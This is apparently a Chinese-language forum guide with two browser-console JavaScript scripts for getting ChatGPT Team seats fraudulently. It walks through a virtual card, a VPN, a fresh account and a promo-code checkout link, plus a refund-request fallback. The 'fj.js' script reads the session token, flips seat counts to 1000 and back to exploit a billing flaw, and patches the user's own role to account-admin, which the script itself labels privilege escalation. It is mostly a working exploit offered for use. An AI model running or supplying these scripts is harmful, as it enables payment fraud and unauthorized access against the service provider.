bugteam怎么开,开一张虚拟卡如roogoo,bybit,冲30刀,开新西兰梯子,用一会给你的文件转长链,开好梯子后,从0注册一个新号,推荐GM邮箱,注册好在gpt主页输入给你的转长链,然后走那个长连去付款,付款完成后,回team空间,去访问https://chatgpt.com/codex/settings/usage,如果是100%就是成功了,如果不是那就是普通,自行想办法发邮件退款,在用我的fj,js,在控制台输入,然后点击n=1000,然后在点一次如果看见席位大于5就是成功了
转长链
(function() {
// 如果已经存在面板,先移除,避免重复创建
if (document.getElementById(‘promo-ui-panel’)) {
document.getElementById(‘promo-ui-panel’).remove();
}
// 国家与货币的自动映射表(含新西兰 NZ: NZD)
const currencyMap = {
'US': 'USD', 'SG': 'SGD', 'AU': 'AUD',
'FR': 'EUR', 'DE': 'EUR', 'IT': 'EUR',
'MX': 'MXN', 'CO': 'COP', 'GB': 'GBP', 'JP': 'JPY',
'PH': 'PHP', 'NZ': 'NZD'
};
// 创建面板 UI
const panel = document.createElement('div');
panel.id = 'promo-ui-panel';
panel.style.cssText = 'position:fixed; top:20px; right:20px; background:#fff; border:1px solid #e5e5e5; padding:20px; z-index:999999; box-shadow:0 10px 25px rgba(0,0,0,0.1); border-radius:12px; width:320px; font-family:-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; color:#333;';
panel.innerHTML = `
<div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:15px;">
<h3 style="margin:0; font-size:16px; font-weight:600;">🔗 支付长链接生成器</h3>
<button id="promo-close-btn" style="background:none; border:none; font-size:18px; cursor:pointer; color:#888;">×</button>
</div>
<label style="display:block; margin-bottom:6px; font-size:14px; font-weight:500;">输入优惠码:</label>
<input type="text" id="promo-input" placeholder="例如: KW67JZVCFQPUHPTE" value="27ainz" style="width:100%; padding:8px 12px; margin-bottom:15px; border:1px solid #ccc; border-radius:6px; box-sizing:border-box; font-size:14px; outline:none;">
<label style="display:block; margin-bottom:6px; font-size:14px; font-weight:500;">选择国家/地区:</label>
<select id="country-select" style="width:100%; padding:8px 12px; margin-bottom:20px; border:1px solid #ccc; border-radius:6px; box-sizing:border-box; font-size:14px; outline:none;">
<option value="US">🇺🇸 美国 (USD)</option>
<option value="SG">🇸🇬 新加坡 (SGD)</option>
<option value="AU">🇦🇺 澳大利亚 (AUD)</option>
<option value="FR">🇫🇷 法国 (EUR)</option>
<option value="MX">🇲🇽 墨西哥 (MXN)</option>
<option value="CO">🇨🇴 哥伦比亚 (COP)</option>
<option value="GB">🇬🇧 英国 (GBP)</option>
<option value="JP">🇯🇵 日本 (JPY)</option>
<option value="PH">🇵🇭 菲律宾 (PHP)</option>
<option value="NZ">🇳🇿 新西兰 (NZD)</option>
</select>
<button id="promo-generate-btn" style="width:100%; padding:10px; background:#10a37f; color:#fff; border:none; border-radius:6px; cursor:pointer; font-size:15px; font-weight:600; transition:background 0.2s;">🚀 立即生成</button>
<div id="promo-output-msg" style="margin-top:15px; font-size:13px; color:#555; word-break:break-all; min-height:40px;"></div>
`;
document.body.appendChild(panel);
// 绑定关闭按钮事件
document.getElementById('promo-close-btn').addEventListener('click', () => panel.remove());
// 绑定生成按钮事件
document.getElementById('promo-generate-btn').addEventListener('click', async () => {
const promoCode = document.getElementById('promo-input').value.trim();
const country = document.getElementById('country-select').value;
const currency = currencyMap[country] || 'USD';
const msgDiv = document.getElementById('promo-output-msg');
if (!promoCode) {
msgDiv.innerHTML = '<span style="color:#ef4444;">❌ 错误: 请先输入优惠码</span>';
return;
}
msgDiv.innerHTML = '⏳ 正在获取授权并生成链接...';
document.getElementById('promo-generate-btn').style.background = '#888';
try {
const session = await fetch("/api/auth/session").then((r) => r.json());
if (!session.accessToken) throw new Error("无法获取 Token,请确保已登录 ChatGPT");
const payload = {
plan_name: "chatgptteamplan",
team_plan_data: { workspace_name: "myWorkspace", price_interval: "month", seat_quantity: 2 },
billing_details: { country: country, currency: currency },
cancel_url: `https://chatgpt.com/?promoCode=${promoCode}`,
promo_code: promoCode,
checkout_ui_mode: "hosted"
};
const response = await fetch("https://chatgpt.com/backend-api/payments/checkout", {
method: "POST",
headers: {
Authorization: `Bearer ${session.accessToken}`,
"Content-Type": "application/json",
},
body: JSON.stringify(payload),
});
const data = await response.json();
if (data.url) {
msgDiv.innerHTML = `<span style="color:#10a37f; font-weight:bold;">✅ 生成成功!</span><br><br><a href="${data.url}" target="_blank" style="display:inline-block; margin-top:5px; color:#fff; background:#2563eb; padding:6px 12px; border-radius:4px; text-decoration:none; font-weight:bold;">👉 点击前往支付页面</a>`;
console.log("✅ 成功生成长链接:", data.url);
} else {
msgDiv.innerHTML = `<span style="color:#ef4444;">❌ 生成失败: ${data.error || '未知错误'}</span>`;
console.error("❌ 响应:", data);
}
} catch (e) {
msgDiv.innerHTML = `<span style="color:#ef4444;">❌ 执行出错: ${e.message}</span>`;
console.error(e);
} finally {
document.getElementById('promo-generate-btn').style.background = '#10a37f';
}
});
})();
fj.js
(async () => {
if (window.w3b) return;
window.w3b = 1;
let tk = ‘’,
ws = ‘’,
ac = ;
const rq = async (u, o = {}, s = ws) => {
if (!tk) tk = (await (await fetch(‘/api/auth/session’)).json()).accessToken;
let r = await fetch(u, {
…o,
headers: {
…o.headers,
authorization: ‘Bearer ’ + tk,
‘content-type’: ‘application/json’,
‘chatgpt-account-id’: s
}
});
if (!r.ok) throw await r.text();
return r.json().catch(() => ({}));
};
const u = document.createElement(‘div’);
u.style.cssText = ‘position:fixed;top:20px;right:20px;width:300px;background:#f9f9f9;border:1px solid #ddd;padding:15px;z-index:9e5;box-shadow:0 5px 15px rgba(0,0,0,.2);border-radius:10px;font-size:12px;color:#333’;
u.innerHTML = ‘WDD-配置与越权✕
document.body.appendChild(u);
const $ = id => document.getElementById(id),
msg = (t, a = 0) => {
$(‘mb’).style.color = t.includes(‘FAIL’) ? ‘#ef4444’ : ‘#16a34a’;
$(‘mb’).innerHTML = a ? $(‘mb’).innerHTML + ‘
’ + t : t;
$(‘mb’).scrollTop = $(‘mb’).scrollHeight
};
$(‘xb’).onclick = () => {
u.remove();
window.w3b = 0
};
rq(’/backend-api/accounts/check/v4-2023-04-27?timezone_offset_min=0’).then(d => {
ac = Object.entries(d.accounts || {}).map(([i, a]) => ({ id: i, a }));
let h = ‘’;
ac.forEach(x => h +=
<option value="${x.id}">${x.a.account?.name || x.id}</option>);$(‘wsb’).innerHTML = h;
ws = $(‘wsb’).value;
msg(‘就绪’)
});
$(‘wsb’).onchange = e => ws = e.target.value;
const qs = async (s) => {
for (let k of [‘workspace_discoverable’, ‘auto_accept_requests’, ‘auto_provision’])
await rq(
/backend-api/accounts/${s}/settings/${k}, {method: ‘POST’,
body: JSON.stringify(k === ‘workspace_discoverable’ ? { value: !0, use_workspace_name_for_discovery: !0 } : { value: !0 })
}, s)
};
$(‘qc’).onclick = async () => {
try {
msg(‘Quick配置中…’);
await qs(ws);
msg(‘Quick完成’)
} catch (e) {
msg(‘FAIL:’ + e)
}
};
$(‘qa’).onclick = async () => {
msg(‘批量Quick…’);
for (let x of ac) {
if (x.a.account?.account_id) {
try {
await qs(x.a.account.account_id);
msg(
OK:${x.id}, 1)} catch (e) {
msg(
FAIL:${e}, 1)}
}
}
};
const ob = async (s) => {
for (let k of [‘oai/apps/hasSeenOnboarding’, ‘oai/apps/hasSeenOnboardingFlow’])
await rq(
/backend-api/settings/announcement_viewed?announcement_id=${k}, { method: ‘POST’ }, s)};
$(‘oc’).onclick = async () => {
try {
msg(‘标记Onboard…’);
await ob(ws);
msg(‘Onboard完成’)
} catch (e) {
msg(‘FAIL:’ + e)
}
};
$(‘oa’).onclick = async () => {
msg(‘批量Onboard…’);
for (let x of ac) {
if (x.a.account?.account_id) {
try {
await ob(x.a.account.account_id);
msg(
OK:${x.id}, 1)} catch (e) {
msg(
FAIL:${e}, 1)}
}
}
};
$(‘s1’).onclick = async () => {
try {
msg(‘获取席位…’);
let d = await rq(
/backend-api/subscriptions?account_id=${ws}, {}, ws);let t = d.seats_entitled + 1;
if (t > 5) return msg(‘FAIL:当前席位>5不执行’);
await rq(‘/backend-api/subscriptions/update’, {
method: ‘POST’,
body: JSON.stringify({ account_id: ws, updated_seats: 1000 })
}, ws);
setTimeout(async () => {
await rq(‘/backend-api/subscriptions/update’, {
method: ‘POST’,
body: JSON.stringify({ account_id: ws, updated_seats: t })
}, ws);
msg(‘席位修改完成:1000->’ + t, 1)
}, 15);
msg(‘已触发修改’)
} catch (e) {
msg(‘FAIL:’ + e)
}
};
$(‘oa2’).onclick = async () => {
try {
msg(‘请求降级…’);
let u = (await (await fetch(‘/api/auth/session’)).json()).user.id;
await rq(
/backend-api/accounts/${ws}/users/${u}, {method: ‘PATCH’,
body: JSON.stringify({ role: ‘account-admin’ })
}, ws);
msg(‘Patch请求已发’)
} catch (e) {
msg(‘FAIL:’ + e)
}
};
$(‘lv’).onclick = async () => {
if (!confirm(‘确定强制退出?’)) return;
try {
msg(‘发起退出…’);
let u = (await (await fetch(‘/api/auth/session’)).json()).user.id;
await rq(
/backend-api/accounts/${ws}/users/${u}, { method: ‘DELETE’ }, ws);msg(‘请求已发,请刷新’)
} catch (e) {
msg(‘FAIL:’ + e)
}
};
})();